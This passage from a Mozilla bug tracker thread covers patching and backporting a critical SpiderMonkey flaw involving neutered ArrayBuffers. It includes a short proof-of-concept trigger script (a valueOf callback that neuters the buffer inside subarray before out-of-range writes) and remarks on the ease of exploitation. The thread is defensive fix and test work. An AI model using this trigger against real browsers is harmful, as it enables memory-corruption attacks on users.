  try { test2(); } catch (e) {}
  // ...
}

rather than checking for specific behaviors and expecting correctness.

I'll try to work up some tests along those lines now to put in a separate patch, or in this patch if I finish up before sfink looks at this.

Comment 48

[Jeff Walden [:Waldo]]

Attachment: Test

Mostly just extracted from your patch, with some tweaking to TODO up some of the error checks, and to not test if debug because that's not fixed by the patch here.

Comment 49

[Jeff Walden [:Waldo]]

Attachment: Aurora: backport bug 936236 so ArrayBufferObject::stealContents isn't drastically different from trunk

The trunk patch changes ArrayBufferObject::stealContents a fair bit.  Since aurora that function's been changed semi-substantially, to inline a method called *only* in that function before.  Backporting that change, makes porting the trunk patch to aurora much easier.  Here's bug 936236 backported to aurora.  There were some manual bits to it due to some argument renames, but it was basically straightforward.

Comment 50

[Jeff Walden [:Waldo]]

Attachment: Aurora: backport the fix

Largely straightforward, once the previous patch backport was in place.

Comment 51

[Steve Fink [:sfink] [:s:]]

Comment on attachment 8390959 [details] [diff] [review]
Neuter buffers by replacing their elements with zeroed elements with 0 byteLength

Review of attachment 8390959 [details] [diff] [review]:
-----------------------------------------------------------------

::: js/src/vm/ArrayBufferObject.cpp
@@ +796,2 @@
>      if (!ArrayBufferObject::neuterViews(cx, buffer))
>          return false;

I don't think this leaks, but the reason is not entirely trivial. If neuterViews fails, you don't free newHeader here. It turns out that currently the only way neuterViews can fail right now is if it's an asm.js buffer, and those are not transferable, so newHeader is still owned and shouldn't be freed.

I think it'd be safer to add in something like

  if (!stolen) free(newHeader);

even though it'd never get called. I'm almost tempted to make a redundant

  bool allocateDummyContents = !stolen;

to make the logic more clear, but that's probably overkill.

@@ +797,5 @@
>          return false;
>  
> +    // If the elements were transferrable, revert the buffer back to using
> +    // inline storage so it doesn't attempt to free the stolen elements when
> +    // finalized.

So neutering will still invalidate a cached data pointer, it just won't invalidate a cached length. (eg, this won't fix bug 983344 by itself.)

::: js/src/vm/ArrayBufferObject.h
@@ +132,4 @@
>      static bool saveArrayBufferList(JSCompartment *c, ArrayBufferVector &vector);
>      static void restoreArrayBufferLists(ArrayBufferVector &vector);
>  
> +    bool hasTransferrableContents() const {

Nit: "transferable". One r. :-)

@@ +137,5 @@
> +        if (!hasDynamicElements())
> +            return false;
> +
> +        // asm.js buffer contents addresses are burned into JITted code and so
> +        // can't be transferred either.

The comment is a little deceptive. asm.js buffer contents are transferred by being copied. (Same as inline elements.) I guess here and in the rest of the patch, "transferrable" == "you can grab the data pointer and run off with it", as opposed to "you have to make a copy". But at least in this comment, "can't be transferred" implies to me that attempting to transfer will fail.

@@ +145,5 @@
> +        // Neutered contents aren't transferrable because we want a neutered
> +        // array's contents to be backed by zeroed memory equal in length to
> +        // the original buffer contents.  Transferring these contents would
> +        // allocate new ones based on the current byteLength, which is 0 for a
> +        // neutered array -- not the original byteLength.

That's a nicer property anyway.

Comment 52

[Steve Fink [:sfink] [:s:]]

Comment on attachment 8390305 [details] [diff] [review]
Process args before evaluating bounds

We're not going to use this patch.

Comment 53

[Steve Fink [:sfink] [:s:]]

One more comment -- the dummy buffer fix here may be more expensive than it needs to be. Right now, AllocateArrayBufferContents callocs the dummy buffer, then writes some fresh zeroes into it thanks to updateElementsHeader. I suspect that'll cause it to fault in some physical memory. We may want to wrap that with an |if (nbytes != 0)| to save the memory thrashing. But it also makes it a little more complex and brittle. What do you think, Waldo?

Comment 54

[Jeff Walden [:Waldo]]

setIsNeuteredBuffer has to poke at the memory anyway, so I think you lose here no matter what.

Comment 55

[Steve Fink [:sfink] [:s:]]

(In reply to Jeff Walden [:Waldo] (remove +bmo to email) from comment #54)
> setIsNeuteredBuffer has to poke at the memory anyway, so I think you lose
> here no matter what.

Ugh. Would it be awful to flip the sense, so neutered can be zero?

Comment 56

[Jeff Walden [:Waldo]]

Maybe, I dunno.  But for a backportable branch-hack, that's going to go away on trunk in a week or so, why take the risk?

Comment 57

[Jason Orendorff [:jorendorff]]

Comment on attachment 8390959 [details] [diff] [review]
Neuter buffers by replacing their elements with zeroed elements with 0 byteLength

Review of attachment 8390959 [details] [diff] [review]:
-----------------------------------------------------------------

I second sfink's comments.

This code is a mess.

Comment 58

[Jeff Walden [:Waldo]]

Attachment: Trunk-ish patch (requires backouts of three separate patches from other bugs to work)

I'm going to have to back out b80f97b00d2f, dd53db747a5e, and a5377cd1e45e (first only on inbound, latter in m-c as well) to land this.

[Security approval request comment]
How easily could an exploit be constructed based on the patch?
Somewhat fairly easily.  It's writes at arbitrarily selectable index (less than 2**31 - 1) starting from NULL.  Just putting the pieces together after that.

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?
There are some "stale index" comments in the patch that probably suggest where to look, to some degree.  But the whole approach makes that pretty clear.  And given it's landing with a hidden bug number, it's not like it isn't pretty obvious.

Which older supported branches are affected by this flaw?
Everything.

If not all supported branches, which bug introduced the flaw?
Everything.

Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?
Some backports have been created already.  Some are in the middle of creation.  Level of difference will vary.  Trickiness isn't inordinately so, but may be to the level of wanting sfink to look before landing.

How likely is this patch to cause regressions; how much testing does it need?
The code here is gnarly, but there's little enough of it to touch for this amelioration that if it passes tests, it should be safe.

Comment 59

[Daniel Veditz [:dveditz]]

Comment on attachment 8391588 [details] [diff] [review]
Trunk-ish patch (requires backouts of three separate patches from other bugs to work)

sec-approval=dveditz

Comment 60

[Jeff Walden [:Waldo]]

Attachment: Aurora: backport the fix

[Approval Request Comment]
Bug caused by (feature/regressing bug #): neutering, around 18ish
User impact if declined: sec-critical
Testing completed (on m-c, etc.): landed on m-i now, going through tests there, the test posted here failed w/o this patch in my build, passed with
Risk to taking this patch (and alternatives if risky): a truly principled full fix here would be easy to get wrong/incomplete -- we want this
String or IDL/UUID changes made by this patch: N/A

Comment 61

[Jeff Walden [:Waldo]]

Landed in m-i:

https://hg.mozilla.org/integration/mozilla-inbound/rev/355266055005

Work on backports ongoing now.

Comment 62

[Jeff Walden [:Waldo]]

Attachment: Beta: backport bug 936236 so ArrayBufferObject::stealContents isn't drastically different from trunk

Comment 63

[Jeff Walden [:Waldo]]

Attachment: Beta: backport the fix

A little funk here because AllocateArrayBufferContents on this branch took a pointer to data to fill into the new contents (newer trees just do the memcpy themselves afterward), but only slight memcpy move-arounds needed to make things whole again.

[Approval Request Comment]
Bug caused by (feature/regressing bug #): neutering
User impact if declined: sec-critical
Testing completed (on m-c, etc.): in m-i now, test in this bug passes with this patch, fails without it
Risk to taking this patch (and alternatives if risky): if it passes test suite, it's probably good; risk of alternative of fixing every use of a bad length is hard to be fully sure you've done correctly
String or IDL/UUID changes made by this patch: N/A

Comment 64

[Jeff Walden [:Waldo]]

Apparently per IRC I have blanket a=dveditz to land on branches, so.

Aurora:

https://hg.mozilla.org/releases/mozilla-aurora/rev/aaf8ce9166a5
https://hg.mozilla.org/releases/mozilla-aurora/rev/813cfb17afa7

Beta:

https://hg.mozilla.org/releases/mozilla-beta/rev/160108f82b62
https://hg.mozilla.org/releases/mozilla-beta/rev/30a46e893204

Still backporting to other places.

Comment 65

[Jeff Walden [:Waldo]]

Attachment: Potential b2g26 patch

This might or might not be a fix.  Without a way to actually neuter in the shell, I can't easily be sure.  It does pass all of js1_8_5/extensions tests as a smoketest, running all jstests now for a bigger one.

Any chance someone webaudio could write a testcase that fails without this patch on b2g26, passes with it, to be sure?  While the basic idea and some of the details are the same in this patch and in the previous ones, the way it's done is different enough it needs its own review, and its own testing.  I'm not willing to rely on trunk/aurora/beta testing to say this is good.

sfink, this is different enough you need to look at it.  I am making various assumptions about what some of the function calls in ArrayBufferObject::stealContents do which may or may not be valid, relying on you to have more idea what anything here is.  If there's even a whiff of smell, check the details.  :-)

Comment 66

[Jeff Walden [:Waldo]]

Attachment: esr24: backport the fix

b2g26 patched different files (vm/TypedArrayObject.*), but if you patch jstypedarray.* in esr24 basically exactly as the b2g26 patch did, you're good to go there.  So if the b2g26 patch passes muster, this is good for esr24 landing given the blanket a= noted above.  But *not* before that point.  :-)

Comment 67

[Ryan VanderMeulen [:RyanVM]]

https://hg.mozilla.org/releases/mozilla-release/rev/30a46e893204
https://hg.mozilla.org/releases/mozilla-b2g28_v1_3/rev/30a46e893204

Comment 68

[Lukas Blakk [:lsblakk] use ?needinfo]

Ehsan - can you be of help here for the question in comment 65 about a testcase?  That stands between us getting ESR24 builds started, we need more confirmation of the fix provided.  We can, if we have to, push out the release a little later than the 8am Tues FF28 ship but that's not the preferred option, obv, given the press around pwn2own.

Comment 69

[Jeff Walden [:Waldo]]

Attachment: Potential b2g18 patch

Whee, no asm.js, no neutering flag in ArrayBuffer elements, no ObjectElements::flags at all!  Very old, such ancient, wow.

jstests in the shell exhibit greeniness with this patch.  (That is, I get five failures, three of which are timeouts, two of which don't have any ArrayBuffer stuff in them at all.)

Comment 70

[Steve Fink [:sfink] [:s:]]

Comment on attachment 8391655 [details] [diff] [review]
Potential b2g26 patch

Review of attachment 8391655 [details] [diff] [review]:
-----------------------------------------------------------------

Ok, that took a while to convince myself, but it looks good. (I ended up breaking it down into 3 incremental patches, and the fact that the original has a redundant call to ArrayBufferObject::setElementsHeader(newheader, length) threw me for a loop.)

Also, I notice that b2g26 seems to be missing bug 950604. We should probably fold that in.

Comment 71

[Steve Fink [:sfink] [:s:]]

Comment on attachment 8391663 [details] [diff] [review]
Potential b2g18 patch

Review of attachment 8391663 [details] [diff] [review]:
-----------------------------------------------------------------

It looks like with a little reconstructive surgery, you got this to look a lot like the b2g26/esr24 backports. (Well, this one doesn't have any mention of asm.js, but otherwise, the tricky part is identical.)

Same issue with the bug 950604 flag preservation

Comment 72

[Jeff Walden [:Waldo]]

Actually there aren't any flags to preserve in b2g18, because there are no flags at all.  :-)  Well, except the one added here, but the neutered-buffer flag gets added at the end of the method anyway.  Still, probably good to look consistent, so did the same there as elsewhere.

https://hg.mozilla.org/releases/mozilla-b2g26_v1_2/rev/8158d0db53bd
https://hg.mozilla.org/releases/mozilla-esr24/rev/13e61aea8aa7
https://hg.mozilla.org/releases/mozilla-b2g18/rev/eba395099e54

Dunno exactly what status flags I should flip for 26/18 here, or where exactly to push this beyond the headliner repos, so leaving those untouched.  Still want some sort of automatable test for these places, to verify the changes actually *do* fix the exploitable issues presented here -- just landing this so it can get tbpl-passing feedback, even if we don't 100% know it eliminates the exploit possibilities.

Comment 73

[Brendan Eich [:brendan]]

What's the followup bug to fix this right?

/be

Comment 74

[Jeff Walden [:Waldo]]

None yet, I'm still trying to deal with just this, as every backport has been its own brand of pain.  Patience, please!  (I may be a little frazzled right now.)

Comment 75

[Jeff Walden [:Waldo]]

The b2g18 backport is wrong.  Backing it out now so I have room to think.  If I understand the issue correctly, there's likely going to be some non-triviality to the requisite adjustments, to warrant another review.

https://hg.mozilla.org/releases/mozilla-b2g18/rev/f20eb0241d17

Comment 76

[Andreas Gal :gal]

Don't worry about the b2g18 backport for now. Please focus on the desktop branches until Lucas confirms that this is security critical for FFOS.

Comment 77

[Andreas Gal :gal]

Paul, Lucas, I still haven't seen a verdict whether we will force an OEM respin for this. Please confirm. Until then we shouldn't slow down desktop for a FFOS fix.

Comment 78

[Jeff Walden [:Waldo]]

It's fixed everywhere *but* b2g18, at this point.  (At least, if the patches for b2g26 and esr24 are correct.  Which I think they are, but requires someone to write a webaudio-using test that fails without the patch, passes with, to truly be sure about that.)  There's no holding up of anything desktop-related at this point (except to the extent esr24 needs that testing), that's all fixed and ready to go.

Comment 79

[Jeff Walden [:Waldo]]

Attachment: b2g18 patch, with bugfixen

Two issues with the patch as posted here.

First, AllocateArrayBufferContents doesn't set the byteLength in the header in b2g18.  (It did in 24 and 26.)  So add a setElementsHeader(headerCopy, byteLen) call in the !hasStealableContents() path.

Second.  The four uint32_t fields of ObjectElements are in different order between b2g18 and esr24, and on b2g18 the |unused| (now |flags|) field is smack in the middle of ArrayBuffers' view-list tracking punning.  So with the original patch here, setIsNeuteredBuffer would flip a bit in the views list pointer.  Hilarity ensues.

So, make ObjectElements field ordering the same in b2g18 as it is in esr24: { flags, initializedLength, capacity, length } and adjust ArrayBufferObject::setElementsHeader to zero out the last two to null out a views-list, as it does in esr24.  (The in-patch comment on this is copied from esr24.)  Obviously rearranging ObjectElements isn't the happiest thing for a branch patch.  But it looks necessary here.

Anyway.  Back for review since this is gnarly and there might be some lurking ObjectElements ordering dependency sfink will remember, that (scumbag code) isn't automatically handled by a compiler-updated offsetof(ObjectElements, *) or at least flagged by a static assertion.  I really doubt there is such a thing -- we're pretty good about that, and jstests/jsapi-tests came back positive -- but it's worth the second look.

Comment 80

[Sylvestre Ledru [:Sylvestre]]

Jeff, reading comment #64, I have the feeling that it already landed in aurora and the uplift request is no longer relevant. Do you confirm? Thanks

Comment 81

[Ryan VanderMeulen [:RyanVM]]

Comment on attachment 8391621 [details] [diff] [review]
Beta: backport the fix

Correct, these landed a=dveditz

Comment 82

[Ryan VanderMeulen [:RyanVM]]

https://hg.mozilla.org/mozilla-central/rev/355266055005

Let's optimistically call this fixed on b2g26/esr24 for now. We can always set the flags back if the test proves otherwise.

Comment 83

[Paul Theriault [:pauljt] (no longer reading bugmail)]

(In reply to Andreas Gal :gal from comment #77)
> Paul, Lucas, I still haven't seen a verdict whether we will force an OEM
> respin for this. Please confirm. Until then we shouldn't slow down desktop
> for a FFOS fix.

I posted to security-group just now, but for reference I don't think we would force a respin for this one bug. From my testing, this exploit was always killed by memory killer prior to triggering the exploitable crash. I assume it would still be possible to exploit this bug through an info leak approach, but might be more complicated.

Comment 84

[Andreas Gal :gal]

Attachment: patch

This is the sketch of a possible follow-up long term fix. We hide length() altogether from TypedArrayObjects and only expose an iterator via indexes(). The iterator can be asked whether an index is within bounds, but the length can't be extracted. The TypedArrayObject still returns a length value. This helps distinguishing at the call site what to use how and the value should only flow back into script, not into C++. Even with this there is plenty of potential for problems though. We have to triple check that ICs are flushed and TypedArrayObject.cpp itself deeply optimizes around with the guts of typed arrays so we have to either push the iterator down into places like copyFromTypedArray, or very carefully audit those spots.

Comment 85

[Andreas Gal :gal]

Note, we use double, int32, uint32, int64 and uint64 for indexes into typed arrays. The JIT uses often uint32 but special-cases the max uint32 value. That code needs a lot of auditing and cleanup, too.

Comment 86

[(no longer active)]

(In reply to Jeff Walden [:Waldo] (remove +bmo to email) from comment #65)
> Any chance someone webaudio could write a testcase that fails without this
> patch on b2g26, passes with it, to be sure?  While the basic idea and some
> of the details are the same in this patch and in the previous ones, the way
> it's done is different enough it needs its own review, and its own testing. 
> I'm not willing to rely on trunk/aurora/beta testing to say this is good.

Jeff, can you please be a bit more specific about what this patch does, and what you need the Web Audio test to do exactly?  I assume that you want to use Web Audio to neuter an array buffer and then do something with it, is that correct?

(Note that I'm about to go out for the evening and I just saw this.  I will try to take a look here when I come back but if that doesn't happen I'll be able to write the test tomorrow morning.  ni?ing other Web Audio folks in case they happen to get to this sooner than me.)

Comment 87

[Jeff Walden [:Waldo]]

(In reply to :Ehsan Akhgari (needinfo? me!) from comment #86)
> I assume that you want to use Web Audio to neuter an array buffer and
> then do something with it, is that correct?

Yes, that's it.  Something like this:

  <script>
  function neuterArrayBuffer(ab)
  {
    ...
  }
  var ab = new ArrayBuffer(4000);
  var a = new Uint8Array(ab);
  var nasty = {
    valueOf: function () {
      print("neutering...");
      neuterArrayBuffer(ab);
      print("neutered");
      return 3000;
    }
  };

  var aa = a.subarray(0, nasty);
  for (var i = 0; i < 3000; i++)
    aa[i] = 17;
  </script>

where neuterArrayBuffer does...something...with the ArrayBuffer that causes it to be synchronously neutered.

Comment 88

[Jeff Walden [:Waldo]]

Potentially have a postMessage-based testcase that works against esr24.  It triggers an assert in a fixed esr24 debug (which is expected); building opt now to verify that it behaves nicely with the fix in place.

I did a little looking into the webaudio version and got completely lost in the Web Audio API, so I'd say the best hope on that front remains for someone who knows Web Audio to make it.  :-)

Comment 89

[Jeff Walden [:Waldo]]

Attachment: Web worker JS file

Comment 90

[Jeff Walden [:Waldo]]

Attachment: Web worker-based test (for esr24, probably for b2g26?) (but should demonstrate failures in aurora/beta/release/trunk, too)

Assuming I got the URL in this to properly link to attachment 8391790 [details], this should load and not crash within 15s of loading in a fixed esr24 opt build.  In an esr24 opt build before the patch, it crashes shortly after loading (usually within 10s or so, probably when a GC hits).  So I think we can say the esr24 patch works.

Building an opt b2g26 now to see if I can reproduce things similarly there.  I'm not sure if this will or won't work in b2g18 -- the JS_StealArrayBufferContents call in cloning is there in b2g18, but I don't know if postMessage is hooked up to that there or not.  I'll report back on b2g{18,26} when I have results.

Comment 91

[Steve Fink [:sfink] [:s:]]

(In reply to Jeff Walden [:Waldo] (remove +bmo to email) from comment #79)
> Created attachment 8391679 [details] [diff] [review]
> b2g18 patch, with bugfixen
> 
> Two issues with the patch as posted here.
> 
> First, AllocateArrayBufferContents doesn't set the byteLength in the header
> in b2g18.  (It did in 24 and 26.)  So add a setElementsHeader(headerCopy,
> byteLen) call in the !hasStealableContents() path.

Doh! Sorry, I even looked at that part for another one of the backports (see the "redundant call" in comment 70). But I didn't actually check out the b2g18 tree, only the b2g26 and esr24 ones.

> Second.  The four uint32_t fields of ObjectElements are in different order
> between b2g18 and esr24, and on b2g18 the |unused| (now |flags|) field is
> smack in the middle of ArrayBuffers' view-list tracking punning.  So with
> the original patch here, setIsNeuteredBuffer would flip a bit in the views
> list pointer.  Hilarity ensues.

Oh, right. The whole overlay thing is such a pain. I'm glad bhackett is killing it.

> So, make ObjectElements field ordering the same in b2g18 as it is in esr24:
> { flags, initializedLength, capacity, length } and adjust
> ArrayBufferObject::setElementsHeader to zero out the last two to null out a
> views-list, as it does in esr24.  (The in-patch comment on this is copied
> from esr24.)  Obviously rearranging ObjectElements isn't the happiest thing
> for a branch patch.  But it looks necessary here.

Yeah. You could reinterpret capacity as a flags field for arraybuffers instead, but I think I'd rather do it the way you did it to make the branches more similar.

Comment 92

[Steve Fink [:sfink] [:s:]]

Comment on attachment 8391679 [details] [diff] [review]
b2g18 patch, with bugfixen

Review of attachment 8391679 [details] [diff] [review]:
-----------------------------------------------------------------

::: js/src/vm/ObjectImpl.h
@@ +898,4 @@
>    public:
>  
>      ObjectElements(uint32_t capacity, uint32_t length)
> +      : capacity(capacity), initializedLength(0), length(length), flags(0)

This should be in the (new) order of the fields to avoid warnings.

Comment 93

[Steve Fink [:sfink] [:s:]]

Another landing attempt:

https://hg.mozilla.org/releases/mozilla-b2g18/rev/2c70ef07c5b3

Comment 94

[(no longer active)]

Attachment: test for b2g26

OK, here is the test case that I cam up with based on your example.  It doesn't crash on b2g26 trunk, it does crash when I back out your fix on that branch.

Comment 95

[(no longer active)]

Attachment: attachment 8391819 in patch form

This is in case we're planning to land this onto the tree.  But note that this asserts fatally in debug builds, which I think it's expected.  Uploading this patch just in case it's needed.

Comment 96

[Jeff Walden [:Waldo]]

Attachment 8391791 [details] crashes without the patch here on a b2g18 opt build; an opt build with the patch doesn't crash.  So attachment 8391791 [details] works to test for the existence of this bug in any opt build on any branch.  (Not aesthetically a *nice* test, but a functional one.)

And, yeah, any test verifying the fixes here will assert in debug builds now.  We could backport additional fixes for the assertions, if we care.  It's unclear to me how much value there is in doing that -- doesn't help stability, doesn't help security, only helps fuzzers be better and mochitest runs with landed tests (which we haven't done, yet) be more effective.  (If you're hitting the assertions, you aren't writing code for the web, you're writing it to craft an exploit.  This is not a normal pattern where correctness matters, except in the spec-conformance sense.)  My hazy recollection of branch criteria is that's not enough.  But I don't care either way, and I wouldn't object to small-enough backportable things.

Not sure about the timing for doing a proper fix here, exactly.  We don't want to file a bug specifically to do that, because it'll draw attention to this work, and (in testcases) provide means of attack to people watching.  Hmm.  I'll start work in patches on my system, then as they're ready I'll think of how to get them into Bugzilla.  Maybe disguise them as method-by-method cleanups or something.  Something to consider Monday or so.

Comment 97

[Ryan VanderMeulen [:RyanVM]]

https://hg.mozilla.org/releases/mozilla-b2g18/rev/2c70ef07c5b3
https://hg.mozilla.org/releases/mozilla-b2g18_v1_1_0_hd/rev/2c70ef07c5b3

Comment 98

[Matt Wobensmith [:mwobensmith][:matt:]]

Confirmed bug on Fx27.0.1, Windows 8.
Verified fix on Fx28, Fx24.4.0esr.

Comment 99

[Karl Tomlinson (:karlt)]

Comment on attachment 8391819 [details]
test for b2g26

>function neuterBuffer(ab)
>{
>  var src = ac.createBufferSource();
>  src.buffer = buf;
>}

"src.buffer = ab", I assume.

Comment 100

[Karl Tomlinson (:karlt)]

(In reply to Karl Tomlinson (:karlt) from comment #99)
> "src.buffer = ab", I assume.

Oh, I see now, sorry.  Thanks for writing the test.  It works!

Comment 101

[Ioana (away)]

Verified as fixed on the 03/17 Aurora JSShell (not debug) - it gives me:
"neutering...
neutered".

Unfortunately, the 03/17 Nightly gives a crash after the same messages:
neutering...
neutered
Segmentation fault (core dumped)

Comment 102

[Lucas Adamski [:ladamski]]

pauljt addressed the NI

Comment 103

[Jeff Walden [:Waldo]]

(In reply to Ioana Budnar, QA [:ioana] from comment #101)
> Unfortunately, the 03/17 Nightly gives a crash after the same messages:
> neutering...
> neutered
> Segmentation fault (core dumped)

Hmm.   Hmm hmm hmm.  I get the same thing as you in a local trunk opt build.  Looking into it now.

Comment 104

[(no longer active)]

(In reply to Jeff Walden [:Waldo] (remove +bmo to email) from comment #103)
> (In reply to Ioana Budnar, QA [:ioana] from comment #101)
> > Unfortunately, the 03/17 Nightly gives a crash after the same messages:
> > neutering...
> > neutered
> > Segmentation fault (core dumped)
> 
> Hmm.   Hmm hmm hmm.  I get the same thing as you in a local trunk opt build.
> Looking into it now.

Ah sorry it didn't occur to me to run that test on trunk. :(

Comment 105

[Jeff Walden [:Waldo]]

Attachment: Final trunk patch: don't give views of neutered buffers a null data pointer

So, good news and bad news.

GOOD NEWS
=========

There is *no problem* with aurora-as-of-yesterday (upcoming beta release), beta-as-of-yesterday (upcoming release), esr24, b2g26, or b2g18.  All the important releases-to-users are unaffected and can remain on schedule.

BAD NEWS
========

Trunk and the upcoming aurora release still have an issue.  But, it should be fixable before the Aurora release happens (in a few days, per dveditz).

THE ISSUE
=========

As of bug 975456, which landed a few weeks ago, the data pointer for views of a neutered ArrayBuffer is NULL.  This is partially achieved by changing InitArrayBufferViewDataPointer to explicitly set to NULL if the provided ArrayBuffer is neutered.  But the trick this bug implements, requires that the data pointer of a view, point at the oversized zeroed memory.  |typedArray.subarray(...)| uses InitArrayBufferViewDataPointer to set the new view's data pointer, so the new subarray still allows near-arbitrary access offset from NULL.  And thus the testcases here die.

This patch should fix things on trunk.  It passes shell tests, it passes attachment 8391791 [details].  To a degree, it backs out bug 975456 and the subsequent bug 976697.  These are the two pushes, for reference, as I think you probably want to compare this patch against those to ensure the desired set of changes is actually made here:

https://hg.mozilla.org/integration/mozilla-inbound/rev/03355461606c
https://hg.mozilla.org/integration/mozilla-inbound/rev/719629050761

Comment 106

[Jeff Walden [:Waldo]]

Attachment: Final aurora patch

This is largely the same as the trunk patch, unsurprisingly.  But some changes have already happened to trigger slight divergence, so a second look seems worth it.  Haven't run tests (or the testcase) on this yet, will do so when the build completes.

Comment 107

[Steve Fink [:sfink] [:s:]]

Comment on attachment 8392607 [details] [diff] [review]
Final trunk patch: don't give views of neutered buffers a null data pointer

Review of attachment 8392607 [details] [diff] [review]:
-----------------------------------------------------------------

This looks good to me, but one thing I was worried about is that the various (ArrayBufferView)::neuter calls still set their data pointers to nullptr. It does not appear to cause any problems, though making it safe requires the patch from bug 983344 (already landed and backported.) It seems like it would be more consistent, though, to set the dataPointer() to the beginning of the ArrayBuffer data; that would block anything similar to bug 983344. Waldo, does that seem reasonable to you?

Also, if we introduced something that could truncate a typed array, not just clear it, then we'd still be vulnerable because the copyFromArray loop does uses an offset that was clamped to the original length. Right now we're ok because if the length changes, it'll always change to zero and we'll exit the loop immediately.

As a side spec question, should TypedArray#set given a regular array invoke valueOf for the elements being copied?

::: js/src/vm/ArrayBufferObject.cpp
@@ +889,4 @@
>      if (bufSlot.isObject()) {
>          ArrayBufferObject &buf = AsArrayBuffer(&bufSlot.toObject());
> +        int32_t offset = obj->getReservedSlot(BYTEOFFSET_SLOT).toInt32();
> +        obj->initPrivate(buf.dataPointer() + offset);

I added a MOZ_ASSERT(buf.dataPointer()) here and it didn't catch anything.

::: js/src/vm/ArrayBufferObject.h
@@ +275,4 @@
>       * private data rather than a slot to avoid alignment restrictions
>       * on private Values.
>       */
> +    obj->initPrivate(buffer->dataPointer() + byteOffset);

same here

Comment 108

[Jeff Walden [:Waldo]]

Attachment: Final trunk, revised: don't give views of neutered buffers a null data pointer

Comment 109

[Jeff Walden [:Waldo]]

Attachment: Final aurora patch, revised

Comment 110

[Steve Fink [:sfink] [:s:]]

Comment on attachment 8393089 [details] [diff] [review]
Final trunk, revised: don't give views of neutered buffers a null data pointer

Review of attachment 8393089 [details] [diff] [review]:
-----------------------------------------------------------------

nicely done

Comment 111

[Jeff Walden [:Waldo]]

Comment on attachment 8393091 [details] [diff] [review]
Final aurora patch, revised

[Approval Request Comment]
Bug caused by (feature/regressing bug #): neutering/transferring, forever ago
User impact if declined: sec-critical still
Testing completed (on m-c, etc.): passes tests where previous partial fix didn't
Risk to taking this patch (and alternatives if risky): I grok this code far better than I ever wanted to at this point, risk is about as low as it gets for not-fully-trivial patches -- and we want this fixed everywhere, right?  right?
String or IDL/UUID changes made by this patch: N/A

Comment 112

[Jeff Walden [:Waldo]]

https://hg.mozilla.org/integration/mozilla-inbound/rev/e82736761361
https://hg.mozilla.org/releases/mozilla-aurora/rev/3d2bdd4b74ad

Comment 113

[Jeff Walden [:Waldo]]

Attachment: Followup trunk patch (shoot me now) because TypedObject treats data == nullptr specially now

So the previous patch had to be backed out of trunk (and would have out of aurora except for feature-disabling -- yay, another branch fixt!  one to go!) because typed object code treats null dataptr as significant.  Partly it does this because newborn-ish objects have null dataptr.  Partly it does this to handle typed objects with neutered storage.  So we need another way to detect those, if the data ptr is going to be non-null.

This patch does this by adding that as an additional check, and in the JIT by going through the typed object's buffer and querying that.  Is this good?  It passes jit-tests for the TypedObject/ directory with --tbpl.

Comment 114

[Niko Matsakis [:nmatsakis]]

Comment on attachment 8393272 [details] [diff] [review]
Followup trunk patch (shoot me now) because TypedObject treats data == nullptr specially now

Review of attachment 8393272 [details] [diff] [review]:
-----------------------------------------------------------------

This looks fine. My only nit would be that most of the interpreted code seems to expect `neuter flag || null`, when in fact the data pointer should only be NULL if the neuter flag is set, right? Certainly the inlined version of MNeuterCheck thinks so.

Comment 115

[Jeff Walden [:Waldo]]

https://tbpl.mozilla.org/?tree=Try&rev=870ba3ce198b

Ideally this would make the nightly, but there are some worrisome things in those initial results (failures in typed object stuff sound ominous), and I really need to get a good night's sleep tonight, so tomorrow's more likely.  But if the try-push checks out, someone interested can feel free to push that patch to trunk to make the nightly, of course.

Comment 116

[Carsten Book [:Tomcat]]

landed on central https://hg.mozilla.org/mozilla-central/rev/e82736761361

Comment 117

[Steve Fink [:sfink] [:s:]]

There's still a patch pending here.

Comment 118

[Jeff Walden [:Waldo]]

Another try-push with newer tree cleared up most of those oranges, but not all:

https://tbpl.mozilla.org/?tree=Try&rev=59d1efe9c7c7

nmatsakis pointed out an issue in TypedObject::obj_trace that seems plausible for that Linux x64 Debug r failure, pushed to try again with that change -- hopefully it'll check out and we can land this and be done with this trail of tears.

https://tbpl.mozilla.org/?tree=Try&rev=a0f36f3b859a

Comment 119

[Jeff Walden [:Waldo]]

https://hg.mozilla.org/integration/mozilla-inbound/rev/f7ff31a0bbd3

Comment 120

[Carsten Book [:Tomcat]]

landed on central https://hg.mozilla.org/mozilla-central/rev/f7ff31a0bbd3

Comment 121

[Jeff Walden [:Waldo]]

Comment on attachment 8391819 [details]
test for b2g26

Yeah, this worked fine for testing, thanks.

Comment 122

[Jason Smith [:jsmith]]

What's left to complete here? This is bug still under the blocking b2g radar, so I'm looking to know what still needs to be done here to close the bug.

Comment 123

[Jeff Walden [:Waldo]]

Everything is done for this bug.  In a sense.  Sadly some slight followup is needed.  I definitely don't want to do it in a 123-comment bug, so I filed the new bug 991981 for it.  I guess this remains open til that's fixed.  :-\

Comment 124

[Jason Smith [:jsmith]]

No longer going to block on Mozilla-specific 1.3 blockers unless it hits a special exception list, so moving to backlog.